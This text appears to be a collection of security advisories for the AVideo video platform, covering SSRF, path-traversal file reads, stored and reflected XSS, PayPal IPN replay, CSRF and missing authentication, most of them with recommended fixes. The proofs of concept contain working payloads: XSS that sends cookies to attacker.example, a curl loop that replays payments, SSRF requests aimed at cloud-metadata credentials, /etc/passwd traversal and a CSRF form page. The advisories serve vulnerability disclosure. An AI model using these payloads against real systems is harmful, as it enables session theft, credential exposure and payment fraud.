Summary
The fix for CVE-2026-27732 is incomplete.
objects/aVideoEncoder.json.php still allows attacker-controlled downloadURL values with common media or archive extensions such as .mp4, .mp3, .zip, .jpg, .png, .gif, and .webm to bypass SSRF validation. The server then fetches the response and stores it as media content.
This allows an authenticated uploader to turn the upload-by-URL flow into a reliable SSRF response-exfiltration primitive.
Details
objects/aVideoEncoder.json.php accepts attacker-controlled downloadURL and passes it to downloadVideoFromDownloadURL().
Inside that function:
1. the URL extension is extracted from the attacker-controlled path 2. the extension is checked against an allowlist of normal encoder formats 3. isSSRFSafeURL() is skipped for common media and archive extensions 4. the URL is fetched via urlgetcontents() 5. the fetched body is written into video storage and exposed through normal media metadata
The current code still contains:
- an extension-based bypass for SSRF validation - no mandatory initial-destination SSRF enforcement inside urlgetcontents() itself
This means internal URLs such as:
http://127.0.0.1:9998/probe.mp4
remain reachable from the application host.
This issue is best described as an incomplete fix / patch bypass of CVE-2026-27732, not a separate unrelated SSRF class.
Proof of concept
1. Log in as a low-privilege uploader. 2. Start an HTTP service reachable only from inside the application environment, for example:
text http://127.0.0.1:9998/probe.mp4
3. Confirm that the service is not reachable externally. 4. Send:
text POST /objects/aVideoEncoder.json.php downloadURL=http://127.0.0.1:9998/probe.mp4 format=mp4
5. If needed, replay once against the returned videosid with firstrequest=1 so the fetched bytes land in the normal media path. 6. Query:
text GET /objects/videos.json.php?showAll=1
7. Recover videosURL.mp4.url. 8. Download that media URL and observe that the body matches the internal-only response byte-for-byte.
Impact
An authenticated uploader can make the AVideo server fetch loopback or internal HTTP resources and persist the response as media content by supplying a downloadURL ending in an allowlisted extension such as .mp4, .jpg, .gif, or .zip. Because SSRF validation is skipped for those extensions, the fetched body is stored and later retrievable through the generated /videos/... media URL. Successful exploitation allows internal response exfiltration from private APIs, admin endpoints, or other internal services reachable from the application host.
Recommended fix
- Apply isSSRFSafeURL() to all downloadURL inputs regardless of extension - Remove extension-based exceptions from SSRF enforcement - Move initial-destination SSRF validation into urlgetcontents() so call sites cannot skip it - Avoid storing arbitrary fetched content directly as publicly retrievable media - Consider restricting upload-by-URL to an explicit allowlist of trusted fetch origins
Summary
objects/aVideoEncoderReceiveImage.json.php allowed an authenticated uploader to fetch attacker-controlled same-origin /videos/... URLs, bypass traversal scrubbing, and expose server-local files through the GIF poster storage path.
The vulnerable GIF branch could be abused to read local files such as /etc/passwd or application source files and republish those bytes through a normal public GIF media URL.
Details
The vulnerable chain was:
1. objects/aVideoEncoderReceiveImage.json.php accepted attacker-controlled downloadURLgifimage 2. traversal scrubbing used strreplace('../', '', ...), which was bypassable with overlapping input such as ....// 3. same-origin /videos/... URLs were accepted 4. urlgetcontents() and trygetcontentsfromlocal() resolved the request into a local filesystem read 5. the fetched bytes were written into the GIF destination 6. invalid GIF cleanup used the wrong variable, so the non-image payload remained on disk
This made the GIF poster path a local file disclosure primitive with public retrieval.
Proof of concept
1. Log in as an uploader and create an owned video row through the normal encoder flow. 2. Send:
text POST /objects/aVideoEncoderReceiveImage.json.php downloadURLgifimage=https://localhost/videos/....//....//....//....//....//....//etc/passwd
3. Query:
text GET /objects/videos.json.php?showAll=1
4. Recover the generated GIF URL from videosURL.gif.url. 5. Download that GIF URL. 6. Observe that the body matches the target local file, such as /etc/passwd, byte-for-byte.
Impact
An authenticated uploader can read server-local files and republish them through a public GIF media URL by supplying a crafted same-origin /videos/... path to downloadURLgifimage. Because traversal scrubbing was bypassable and the fetched bytes were written to the GIF destination without effective invalid-image cleanup, successful exploitation allows disclosure of files such as /etc/passwd, readable application source code, or deployment-specific configuration accessible to the application.
Recommended fix
- Reject any remote image URL whose decoded path contains traversal markers - Do not allow attacker-controlled same-origin /videos/... fetches to resolve into local file reads - Constrain any local shortcut path handling with realpath() and strict base-directory allowlists - Validate GIF content before saving it into public media storage - Ensure invalid-image cleanup checks the correct destination path
Summary
The Live restream log callback flow accepted an attacker-controlled restreamerURL and later fetched that stored URL server-side, enabling stored SSRF for authenticated streamers.
The vulnerable flow allowed a low-privilege user with streaming permission to store an arbitrary callback URL and trigger server-side requests to loopback or internal HTTP services through the restream log feature.
Details
The vulnerable chain was:
1. plugin/Live/view/getRestream.json.php exposed a fresh tokenForAction 2. plugin/Live/view/Liverestreams/verifyTokenForAction.json.php exchanged it for a valid responseToken 3. plugin/Live/view/Liverestreamslogs/add.json.php accepted attacker-controlled restreamerURL 4. plugin/Live/view/getRestream.json.php and plugin/Live/view/Liverestreams/getAction.json.php later fetched that stored URL server-side
The original issue existed because the responseToken was accepted, but the callback destination was not tightly constrained to trusted restreamer endpoints.
The maintainer confirmed the vulnerability and stated that the fix was applied by validating restreamerURL at storage time and re-validating the log-entry branch before use. The maintainer also noted that the m3u8 field follows the same general pattern but is not server-fetched in the current flow.
Proof of concept
1. Log in as a non-admin user with streaming permission. 2. Create a normal restream destination. 3. Trigger plugin/Live/view/Liverestreams/testRestreamer.json.php to create a live transmission history row. 4. Call:
text GET /plugin/Live/view/getRestream.json.php?livetransmitionshistoryid=<id>&restreamsid=<id>
5. Extract tokenForAction from the returned URL. 6. Exchange it for responseToken via:
text POST /plugin/Live/view/Liverestreams/verifyTokenForAction.json.php
7. Store a loopback callback URL:
text POST /plugin/Live/view/Liverestreamslogs/add.json.php restreamerURL=http://127.0.0.1:9999/index.php
8. Trigger getRestream.json.php again. 9. Observe that the returned response now contains the JSON body from the loopback-only service.
Impact
An authenticated streamer can cause the AVideo server to send HTTP requests to loopback or internal services and return the response through normal application endpoints by storing a malicious restreamerURL in the restream log flow. Because the callback destination was not constrained to trusted restreamer endpoints, the application could be used as a proxy to internal-only services that trust network locality. Successful exploitation can expose local admin panels, internal-only APIs, cloud metadata services if reachable, or other sensitive internal responses available from the application host.
Recommended fix
- Validate restreamerURL against explicitly configured restreamer endpoints at storage time - Re-validate the stored callback URL before server-side fetch - Bind responseToken to the expected restream row and callback host - Apply SSRF validation to the initial destination of every server-side fetch, not only redirect targets - Ignore or reject user-supplied callback hosts that do not match trusted configuration
Summary
AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epglink to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.
Details
The vulnerability spans three files in the data flow:
1. Entry point — objects/videoAddNew.json.php:117-119
The epglink parameter is stored with only a URL format check:
php if (empty($POST['epglink']) || isValidURL($POST['epglink'])) { $obj->setEpglink($POST['epglink']); }
This requires User::canUpload() (line 10) — not admin, just basic upload permission.
2. XML parsing — objects/EpgParser.php:321
Programme titles are extracted as raw strings with no sanitization:
php $this->epgdata[$grouper ?: 0] = [ 'title' => (string) $element->title, // ... ];
3. Sink — plugin/PlayerSkins/epg.php:343-351
Programme titles are interpolated directly into HTML output without htmlspecialchars() or any escaping:
php } else if ($width <= $minimumWidth1Dot) { $text = "<abbr title=\"{$program['title']}\">.</abbr>"; // attribute injection } else if ($width <= $minimumWidth) { $text = "<abbr title=\"{$program['title']}\"><small ..."; // attribute injection } else if ($width <= $minimumSmallFont) { $text = "<small class=\"small-font\">{$program['title']}<div>..."; // HTML injection } else { $text = "{$program['title']}<div>..."; // HTML injection }
Notably, the channel display-name is sanitized via safeString() at line 151, but programme titles are not — an apparent oversight.
The EPG page (epg.php) requires no authentication to access, and the rendered output is cached at line 634 (ObjectYPT::setCache), so the XSS payload persists in cache even if the original malicious XML is later removed.
PoC
Step 1: Host a malicious XMLTV file at an attacker-controlled URL:
xml <?xml version="1.0" encoding="UTF-8"?> <tv> <channel id="ch1"> <display-name>Test Channel</display-name> </channel> <programme start="20260404060000 +0000" stop="20260404070000 +0000" channel="ch1"> <title><![CDATA[<img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>]]></title> </programme> </tv>
Step 2: Create a video with the malicious EPG link (requires upload permission):
bash curl -s -b 'PHPSESSID=UPLOADUSERSESSION' \ 'https://target.example/objects/videoAddNew.json.php' \ -d 'title=LiveStream&videoLink=https://example.com/stream.m3u8&epglink=https://attacker.example/evil.xml&categoriesid=1'
Step 3: Any visitor (unauthenticated) browsing the EPG page triggers the XSS:
https://target.example/plugin/PlayerSkins/epg.php
The <img onerror> payload executes in the browser of every visitor, exfiltrating cookies and session tokens.
Impact
- Session hijacking: Any visitor's session cookies are exfiltrated, including administrators - Account takeover: Stolen admin sessions allow full platform control - Persistent: The XSS payload is cached server-side and fires for every page visitor without further interaction - Wide blast radius: The EPG page is publicly accessible with no authentication required
Recommended Fix
Escape all programme data before rendering in HTML. In plugin/PlayerSkins/epg.php, apply htmlspecialchars() to programme titles before interpolation:
php // Around line 340, before the width checks: $safeTitle = htmlspecialchars($program['title'], ENTQUOTES, 'UTF-8');
// Then use $safeTitle instead of $program['title']: } else if ($width <= $minimumWidth1Dot) { $text = "<abbr title=\"{$safeTitle}\">.</abbr>"; } else if ($width <= $minimumWidth) { $text = "<abbr title=\"{$safeTitle}\"><small class=\"duration\">{$minutes} Min</small></abbr>"; } else if ($width <= $minimumSmallFont) { $text = "<small class=\"small-font\">{$safeTitle}<div><small class=\"duration\">{$minutes} Min</small></div></small>"; } else { $text = "{$safeTitle}<div><small class=\"duration\">{$minutes} Min</small></div>"; }
Additionally, consider sanitizing all EPG XML fields at parse time in EpgParser.php:316-330 to defend in depth.
Summary
The PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPTlog entries, but the v1 handler was never updated and remains actively referenced as the notifyurl for billing plans.
Details
When a recurring payment IPN arrives at ipn.php, the handler:
1. Verifies authenticity via PayPalYPT::IPNcheck() (line 16), which sends the POST data to PayPal's cmd=notify-validate endpoint. PayPal confirms the data is genuine but this verification is stateless — PayPal returns VERIFIED for the same authentic data on every submission.
2. Looks up the subscription from recurringpaymentid and directly credits the user's wallet (lines 41-53):
php // plugin/PayPalYPT/ipn.php lines 41-53 $row = Subscription::getFromAgreement($POST["recurringpaymentid"]); $usersid = $row['usersid']; $paymentamount = empty($POST['mcgross']) ? $POST['amount'] : $POST['mcgross']; $paymentcurrency = empty($POST['mccurrency']) ? $POST['currencycode'] : $POST['mccurrency']; if ($walletObject->currency===$paymentcurrency) { $plugin->addBalance($usersid, $paymentamount, "Paypal recurrent", jsonencode($POST)); Subscription::renew($usersid, $row['subscriptionsplansid']); $obj->error = false; }
No txnid uniqueness check. No PayPalYPTlog entry created. No deduplication of any kind.
Compare with the patched handlers: - ipnV2.php (line 50): PayPalYPT::isTokenUsed($GET['token']) and (line 93): PayPalYPT::isRecurringPaymentIdUsed($POST["verifysign"]), with PayPalYPTlog entries saved on success. - webhook.php (line 30): PayPalYPT::isTokenUsed($token) with PayPalYPTlog entry saved on success.
The v1 ipn.php is still actively configured as notifyurl in PayPalYPT.php at lines 85, 193, and 308: php $notifyurl = "{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php";
PoC
bash Prerequisites: A registered AVideo account with at least one completed PayPal subscription.
Step 1: Complete a legitimate PayPal subscription. This generates an IPN notification to ipn.php containing your recurringpaymentid.
Step 2: Capture the IPN POST body. This is available from: - PayPal's IPN History (paypal.com > Settings > IPN History) - Network interception during the initial subscription flow
Step 3: Replay the captured IPN to inflate wallet balance. Each replay adds the subscription amount to the attacker's wallet.
Single replay: curl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \ -d 'recurringpaymentid=I-XXXXXXXXXX&mcgross=9.99&mccurrency=USD&paymentstatus=Completed&txntype=recurringpayment&verifysign=REALVERIFYSIGN&payeremail=attacker@example.com'
Bulk replay (100x = 100x the subscription amount added to wallet): for i in $(seq 1 100); do curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \ -d 'recurringpaymentid=I-XXXXXXXXXX&mcgross=9.99&mccurrency=USD&paymentstatus=Completed&txntype=recurringpayment&verifysign=REALVERIFYSIGN&payeremail=attacker@example.com' done
Each request passes IPNcheck() (PayPal confirms the data is authentic), then addBalance() credits the wallet and Subscription::renew() extends the subscription.
Impact
- Unlimited wallet balance inflation: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content. - Unlimited subscription renewals: Each replay also calls Subscription::renew(), indefinitely extending subscription access from a single payment. - Financial loss: Platform operators lose revenue as attackers obtain paid services without corresponding payments.
Recommended Fix
Add deduplication to ipn.php consistent with the approach already used in ipnV2.php and webhook.php. Record each processed transaction in PayPalYPTlog and check before processing:
php // plugin/PayPalYPT/ipn.php — replace lines 41-57 with: } else { errorlog("PayPalIPN: recurringpaymentid = {$POST["recurringpaymentid"]} ");
// Deduplication: check if this IPN was already processed $dedupkey = !empty($POST['txnid']) ? $POST['txnid'] : $POST['verifysign']; if (PayPalYPT::isRecurringPaymentIdUsed($dedupkey)) { errorlog("PayPalIPN: already processed, skipping"); die(jsonencode($obj)); }
$subscription = AVideoPlugin::loadPluginIfEnabled("Subscription"); if (!empty($subscription)) { $row = Subscription::getFromAgreement($POST["recurringpaymentid"]); errorlog("PayPalIPN: user found from recurringpaymentid (usersid = {$row['usersid']}) "); $usersid = $row['usersid']; $paymentamount = empty($POST['mcgross']) ? $POST['amount'] : $POST['mcgross']; $paymentcurrency = empty($POST['mccurrency']) ? $POST['currencycode'] : $POST['mccurrency']; if ($walletObject->currency===$paymentcurrency) { // Log the transaction for deduplication $pp = new PayPalYPTlog(0); $pp->setUsersid($usersid); $pp->setRecurringpaymentid($dedupkey); $pp->setValue($paymentamount); $pp->setJson(['post' => $POST]); if ($pp->save()) { $plugin->addBalance($usersid, $paymentamount, "Paypal recurrent", jsonencode($POST)); Subscription::renew($usersid, $row['subscriptionsplansid']); $obj->error = false; } } else { errorlog("PayPalIPN: FAIL currency check $walletObject->currency===$paymentcurrency "); } } }
Additionally, consider migrating the notifyurl references in PayPalYPT.php (lines 85, 193, 308) from ipn.php to ipnV2.php or webhook.php, and eventually deprecating the v1 IPN handler entirely.
WWBN AVideo is an open source video platform. In versions 26.0 and prior, the site customization endpoint at admin/customizesettingsnativeUpdate.json.php lacks CSRF token validation and writes uploaded logo files to disk before the ORM's domain-based security check executes. Combined with SameSite=None cookie policy, a cross-origin POST can overwrite the platform's logo with attacker-controlled content.
Summary
The plugin/CloneSite/client.log.php endpoint serves the clone operation log file without any authentication. Every other endpoint in the CloneSite plugin directory enforces User::isAdmin(). The log contains internal filesystem paths, remote server URLs, and SSH connection metadata.
Details
The entire file at plugin/CloneSite/client.log.php:
php <?php include '../../videos/cache/clones/client.log';
No authentication check. The log file is populated by cloneClient.json.php which writes operational details during clone operations:
php // plugin/CloneSite/cloneClient.json.php:118 $log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file [$cmd]");
The $cmd variable contains wget commands with internal filesystem paths, and rsync command templates with SSH connection details (username, IP, port).
Compare with sibling endpoints: - plugin/CloneSite/index.php checks User::isAdmin() - plugin/CloneSite/changeStatus.json.php checks User::isAdmin() - plugin/CloneSite/clones.json.php checks User::isAdmin() - plugin/CloneSite/delete.json.php checks User::isAdmin()
Proof of Concept
bash curl "https://your-avideo-instance.com/plugin/CloneSite/client.log.php"
If the CloneSite feature has been used, the response contains wget commands, filesystem paths, SSH metadata, and SQL dump file locations.
Impact
Unauthenticated disclosure of internal infrastructure details that could aid targeted attacks against the clone source server.
Recommended Fix
Add an admin authentication check at plugin/CloneSite/client.log.php, before the include:
php requireonce '../../videos/configuration.php'; if (!User::isAdmin()) { httpresponsecode(403); die('Access denied'); }
--- Found by aisafe.io
Summary
The plugin/API/check.ffmpeg.json.php endpoint probes the FFmpeg remote server configuration and returns connectivity status without any authentication. All sibling FFmpeg management endpoints (kill.ffmpeg.json.php, list.ffmpeg.json.php, ffmpeg.php) require User::isAdmin().
Details
The entire file at plugin/API/check.ffmpeg.json.php:
php <?php $configFile = DIR.'/../../videos/configuration.php'; requireonce $configFile; header('Content-Type: application/json');
$obj = testFFMPEGRemote();
die(jsonencode($obj));
No User::isAdmin(), User::isLogged(), or any access control check exists.
Compare with sibling endpoints in the same directory: - kill.ffmpeg.json.php checks User::isAdmin() - list.ffmpeg.json.php checks User::isAdmin()
Proof of Concept
bash curl "https://your-avideo-instance.com/plugin/API/check.ffmpeg.json.php"
Returns information about whether the platform uses a standalone FFmpeg server and its current reachability.
Impact
Infrastructure reconnaissance revealing the encoding architecture. Limited direct impact but aids targeted attack planning.
Recommended Fix
Add an admin authentication check at plugin/API/check.ffmpeg.json.php:3, after requireonce $configFile;:
php if (!User::isAdmin()) { forbiddenPage('Admin only'); }
--- Found by aisafe.io
Summary
The install/test.php diagnostic script has its CLI-only access guard disabled by commenting out the die() statement. The script remains accessible via HTTP after installation, exposing video viewer statistics including IP addresses, session IDs, and user agents to unauthenticated visitors.
Details
The disabled guard at install/test.php:5-7:
php if (!isCommandLineInterface()) { //return die('Command Line only'); }
The script also enables verbose error reporting:
php errorreporting(EALL); iniset('displayerrors', '1');
It then queries VideoStatistic::getLastStatistics() and outputs the result via vardump():
php $resp = VideoStatistic::getLastStatistics(getVideosid(), User::getId()); vardump($resp);
The VideoStatistic object contains: ip (viewer IP address), sessionid, useragent, usersid, and JSON metadata. The displayerrors=1 setting also leaks internal filesystem paths in any PHP warnings.
The install/ directory is not restricted by .htaccess (it only disables directory listing via Options -Indexes) and no web server rules block access to individual PHP files in this directory.
Proof of Concept
bash Request viewer stats for video ID 1 curl "https://your-avideo-instance.com/install/test.php?videosid=1"
Confirmed accessible on live AVideo instances (HTTP 200).
Impact
Unauthenticated disclosure of viewer IP addresses (PII under GDPR), session identifiers, and user agents. The enabled displayerrors also reveals internal server paths on errors.
- CWE: CWE-200 (Exposure of Sensitive Information) - Severity: Low
Recommended Fix
Uncomment the CLI guard at install/test.php:6 to restore the intended access restriction:
php if (!isCommandLineInterface()) { return die('Command Line only'); }
--- Found by aisafe.io
Summary
The BlockonomicsYPT plugin's check.php endpoint returns payment order data for any Bitcoin address without requiring authentication. The endpoint was designed as an AJAX polling helper for the authenticated invoice.php page, but it performs no access control checks of its own. Since Bitcoin addresses are publicly visible on the blockchain, an attacker can query payment records for any address used on the platform.
Details
In plugin/BlockonomicsYPT/check.php at lines 20-30, the endpoint accepts a Bitcoin address and returns the corresponding order data:
php $addr = $GET['addr']; $order = new BlockonomicsOrder(0); $obj = $order->getFromAddressFromDb($addr); die(jsonencode($obj));
There is no authentication check. The endpoint does not verify that the requesting user is logged in, nor does it verify that the requesting user owns the order associated with the given address.
The response includes: - User ID of the buyer - Total payment value - Currency - BTC amounts (expected and received) - Transaction ID - Payment status
The invoice.php page that was designed to consume this endpoint does require authentication, but check.php itself does not inherit or enforce that requirement.
Bitcoin addresses are publicly queryable on the blockchain, so an attacker does not need to guess them. Addresses associated with the platform can be discovered by monitoring blockchain transactions to known platform wallets.
The BlockonomicsYPT plugin is tagged as deprecated by the AVideo project, but remains available and functional in current installations.
Proof of Concept
bash Query payment data for a known Bitcoin address without authentication curl "https://your-avideo-instance.com/plugin/BlockonomicsYPT/check.php?addr=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
Example response:
json { "id": 42, "usersid": 15, "value": "29.99", "currency": "USD", "btcvalue": "0.00085", "btcreceived": "0.00085", "txid": "abc123def456...", "status": "confirmed", "created": "2025-01-15 10:30:00" }
No session cookie or API key is required.
Impact
- Unauthenticated disclosure of payment order data including user IDs, amounts, and transaction details - Bitcoin addresses are publicly discoverable on the blockchain - Links on-chain transactions to specific platform user IDs - Privacy violation for users who made cryptocurrency payments on the platform - Plugin is deprecated but still functional in existing deployments
Recommended Fix
Add an authentication check at plugin/BlockonomicsYPT/check.php:17:
php if (!User::isLogged()) { echo jsonencode(["error" => "Login required"]); exit; }
--- Found by aisafe.io
Severity: Medium CWE: CWE-352 (Cross-Site Request Forgery)
Summary
The player skin configuration endpoint at admin/playerUpdate.json.php does not validate CSRF tokens. The plugins table is explicitly excluded from the ORM's domain-based security check via ignoreTableSecurityCheck(), removing the only other layer of defense. Combined with SameSite=None cookies, a cross-origin POST can modify the video player appearance on the entire platform.
Details
In admin/playerUpdate.json.php at line 17, the player skin is set directly from POST data:
php $pluginDO->skin = $POST['skin'];
No CSRF token is validated anywhere in the endpoint. Normally, the ORM layer performs a Referer/Origin domain check as a secondary defense against cross-origin writes. However, the plugins table is registered in ignoreTableSecurityCheck(), which explicitly bypasses this ORM-level protection for plugin configuration.
AVideo's session cookies are configured with SameSite=None, meaning the admin's authenticated session cookie is automatically included in cross-origin POST requests from any website.
An attacker can craft a page that, when visited by an authenticated admin, silently changes the player skin to any value, including potentially invalid or disruptive configurations.
Proof of Concept
Host the following HTML on an attacker-controlled domain:
html <!DOCTYPE html> <html> <head><title>CSRF Player Skin</title></head> <body> <h1>Loading video...</h1> <form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/playerUpdate.json.php"> <input type="hidden" name="skin" value="minimalist" /> </form> <script> document.getElementById("csrf").submit(); </script> </body> </html>
When an authenticated admin visits this page, the platform's player skin is changed without their knowledge.
Impact
- Platform-wide player appearance modification without admin consent - Potential disruption of video playback if an invalid skin value is set - The ORM security bypass via ignoreTableSecurityCheck() means there is no fallback protection - Can be used as part of a broader defacement or social engineering attack
Recommended Fix
Add CSRF token validation at admin/playerUpdate.json.php, before processing POST data:
php // admin/playerUpdate.json.php (before line 17) if (!isGlobalTokenValid()) { die('{"error":"Invalid CSRF token"}'); }
--- Found by aisafe.io
Summary
The SocialMediaPublisher plugin exposes a publishInstagram.json.php endpoint that acts as an unauthenticated proxy to the Facebook/Instagram Graph API. The endpoint accepts user-controlled parameters including an access token, container ID, and Instagram account ID, and passes them directly to the Graph API via InstagramUploader::publishMediaIfIsReady(). This allows any unauthenticated user to make arbitrary Graph API calls through the server, potentially using stolen tokens or abusing the platform's own credentials.
Details
At plugin/SocialMediaPublisher/publishInstagram.json.php:14, the endpoint passes request parameters directly to the Instagram Graph API without any authentication check:
php InstagramUploader::publishMediaIfIsReady( $REQUEST['accessToken'], $REQUEST['containerId'], $REQUEST['instagramAccountId'] );
There is no call to User::isLogged(), User::isAdmin(), or any other authorization check before processing the request.
In contrast, sibling endpoints in the same plugin enforce proper authorization: - uploadVideo.json.php requires User::isLogged() - refresh.json.php requires User::isAdmin()
The endpoint was confirmed accessible on a live instance: it returns a Graph API error response, demonstrating that it processes the request and forwards it to Facebook's servers.
Proof of Concept
1. Send a request to the endpoint without any authentication:
bash curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/publishInstagram.json.php" \ -d "accessToken=TESTTOKEN&containerId=TESTCONTAINER&instagramAccountId=TESTACCOUNT"
2. The server forwards the request to the Facebook Graph API. With invalid parameters, it returns a Graph API error confirming the endpoint is functional:
json { "error": { "message": "Invalid OAuth access token.", "type": "OAuthException", "code": 190 } }
3. With a valid access token (e.g., one leaked from AVI-027), an attacker could publish content to the platform's Instagram account:
bash curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/publishInstagram.json.php" \ -d "accessToken=LEAKEDACCESSTOKEN&containerId=REALCONTAINERID&instagramAccountId=REALACCOUNTID"
4. Verify that sibling endpoints require authentication:
bash Should require login curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/uploadVideo.json.php"
Should require admin curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/refresh.json.php"
Impact
The unauthenticated endpoint allows any attacker to use the AVideo server as a proxy for Instagram/Facebook Graph API calls. When combined with credentials leaked from AVI-027 (unauthenticated access to social media API credentials), an attacker can publish, modify, or delete content on the platform's Instagram account without any authentication to the AVideo instance. The server's IP address is used for the API calls, which could also be used to bypass rate limits or IP-based restrictions on the Graph API.
- CWE-862: Missing Authorization - Severity: Medium
Recommended Fix
Add an admin authorization check at the top of plugin/SocialMediaPublisher/publishInstagram.json.php:10, consistent with the sibling refresh.json.php endpoint:
php // plugin/SocialMediaPublisher/publishInstagram.json.php:10 if(!User::isAdmin()){ die(jsonencode(['error'=>'Not authorized'])); }
This restricts the endpoint to admin users only, matching the authorization level of refresh.json.php and preventing unauthenticated proxy abuse.
--- Found by aisafe.io
Summary
The EPG (Electronic Program Guide) link feature in AVideo allows authenticated users with upload permissions to store arbitrary URLs that the server fetches on every EPG page visit. The URL is validated only with PHP's FILTERVALIDATEURL, which accepts internal network addresses. Although AVideo has a dedicated isSSRFSafeURL() function for preventing SSRF, it is not called in this code path. This results in a stored server-side request forgery vulnerability that can be used to scan internal networks, access cloud metadata services, and interact with internal services.
Details
When a user adds or edits a video, the EPG link is stored via objects/videoAddNew.json.php:119:
php $obj->setEpglink($POST['epglink']);
The only validation applied is FILTERVALIDATEURL, which accepts URLs targeting internal addresses such as http://127.0.0.1, http://169.254.169.254, or http://10.0.0.1.
Later, when the EPG data is parsed, the stored URL is fetched server-side at objects/EpgParser.php:358:
php $this->content = @\filegetcontents($this->url);
The filegetcontents() function follows redirects and supports multiple protocols including http://, https://, ftp://, and depending on PHP configuration, php:// and other stream wrappers.
The codebase contains an isSSRFSafeURL() function that validates URLs against internal network ranges, but this function is not invoked anywhere in the EPG link processing path.
Because the URL is stored in the database, every subsequent visit to the EPG page re-triggers the server-side request. This makes the SSRF persistent and repeatable without further attacker interaction.
Proof of Concept
1. Authenticate as a user with upload permissions.
2. Create or edit a video and set the EPG link to an internal target:
bash Target the cloud metadata service curl -b "PHPSESSID=USERSESSION" \ -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \ -d "title=Test+Video&epglink=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
3. Trigger the EPG parser by visiting the video's EPG page, or wait for the next page load that processes EPG data:
bash curl -b "PHPSESSID=USERSESSION" \ "https://your-avideo-instance.com/plugin/Live/view/Liveschedule/?videosid=VIDEOID"
4. To scan internal ports, set the EPG link to various internal addresses:
bash Scan an internal service curl -b "PHPSESSID=USERSESSION" \ -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \ -d "title=Test+Video&epglink=http://127.0.0.1:6379/"
5. The server fetches the URL via filegetcontents(). Response differences (timing, error messages, or returned content via EPG display) reveal whether internal services are running.
Impact
An authenticated user with upload permissions can force the AVideo server to make HTTP requests to arbitrary internal and external targets. This enables scanning of internal networks, access to cloud instance metadata (potentially exposing IAM credentials on AWS/GCP/Azure), and interaction with internal services that are not intended to be externally accessible. The stored nature of this SSRF means it re-executes on every page visit, amplifying the impact.
- CWE-918: Server-Side Request Forgery (SSRF) - Severity: Medium
Recommended Fix
Add an isSSRFSafeURL() check before the filegetcontents() call at objects/EpgParser.php:355:
php if (functionexists('isSSRFSafeURL') && !isSSRFSafeURL($this->url)) { throw new \RuntimeException('URL blocked by SSRF protection'); }
This reuses the existing SSRF protection function that is already applied in other code paths.
--- Found by aisafe.io
Summary
The UserLocation plugin's testIP.php page reflects the ip request parameter directly into an HTML input element without applying htmlspecialchars() or any other output encoding. This allows an attacker to inject arbitrary HTML and JavaScript via a crafted URL. Although the page is restricted to admin users, AVideo's SameSite=None cookie configuration allows cross-origin exploitation, meaning an attacker can lure an admin to a malicious link that executes JavaScript in their authenticated session.
Details
At plugin/UserLocation/testIP.php:16, the ip parameter is read from the request without sanitization:
php $ip = $REQUEST['ip'];
At line 34, the value is echoed directly into an HTML input element's value attribute:
php <input type="text" name="ip" id="ip" class="form-control" value="<?php echo $ip; ?>">
No htmlspecialchars() is applied, allowing an attacker to break out of the value attribute and inject arbitrary HTML/JavaScript.
While the page requires admin authentication to access, AVideo sets session cookies with SameSite=None. When an admin clicks a link from an external site (email, chat, another website), their session cookie is sent with the request, and the XSS payload executes in the context of their authenticated admin session.
Proof of Concept
1. Craft a URL with a payload that breaks out of the input value attribute:
https://your-avideo-instance.com/plugin/UserLocation/testIP.php?ip="><script>alert(document.cookie)</script>
2. URL-encoded version for embedding in links:
https://your-avideo-instance.com/plugin/UserLocation/testIP.php?ip=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
3. The resulting HTML rendered in the browser:
html <input type="text" name="ip" id="ip" class="form-control" value=""><script>alert(document.cookie)</script>">
4. To exploit via cross-origin link (leveraging SameSite=None), host the following on an attacker-controlled page:
html <!-- attacker-page.html --> <html> <body> <p>Click here to check your IP geolocation:</p> <a href="https://your-avideo-instance.com/plugin/UserLocation/testIP.php?ip=%22%3E%3Cscript%3Edocument.location=%27https://attacker.example.com/steal?c=%27%2Bdocument.cookie%3C/script%3E"> Check IP Location </a> </body> </html>
5. When an admin clicks the link, their session cookie is sent (due to SameSite=None), and the JavaScript executes in their authenticated session.
Impact
An attacker can execute arbitrary JavaScript in the context of an admin user's session by sending them a crafted link. Because AVideo uses SameSite=None for session cookies, the attack works from any external website. Successful exploitation allows the attacker to steal the admin session cookie, create new admin accounts, modify site configuration, upload malicious plugins, or perform any other admin action.
- CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) - Severity: Medium
Recommended Fix
Apply htmlspecialchars() when outputting the $ip variable at plugin/UserLocation/testIP.php:34:
php // plugin/UserLocation/testIP.php:34 <input type="text" name="ip" id="ip" class="form-control" value="<?php echo htmlspecialchars($ip, ENTQUOTES, 'UTF-8'); ?>">
--- Found by aisafe.io
Summary
AVideo's video processing pipeline accepts an overrideStatus request parameter that allows any uploader to set a video's status to any valid state, including "active" (a). This bypasses the admin-controlled moderation and draft workflows. The setStatus() method validates the status code against a list of known values but does not verify that the caller has permission to set that particular status. As a result, any user with upload permissions can publish videos directly, circumventing content review processes.
Details
At objects/video.php:1055-1056, the video object checks for an overrideStatus parameter in the request and applies it directly:
php if (!empty($REQUEST['overrideStatus'])) { return $this->setStatus($REQUEST['overrideStatus']); }
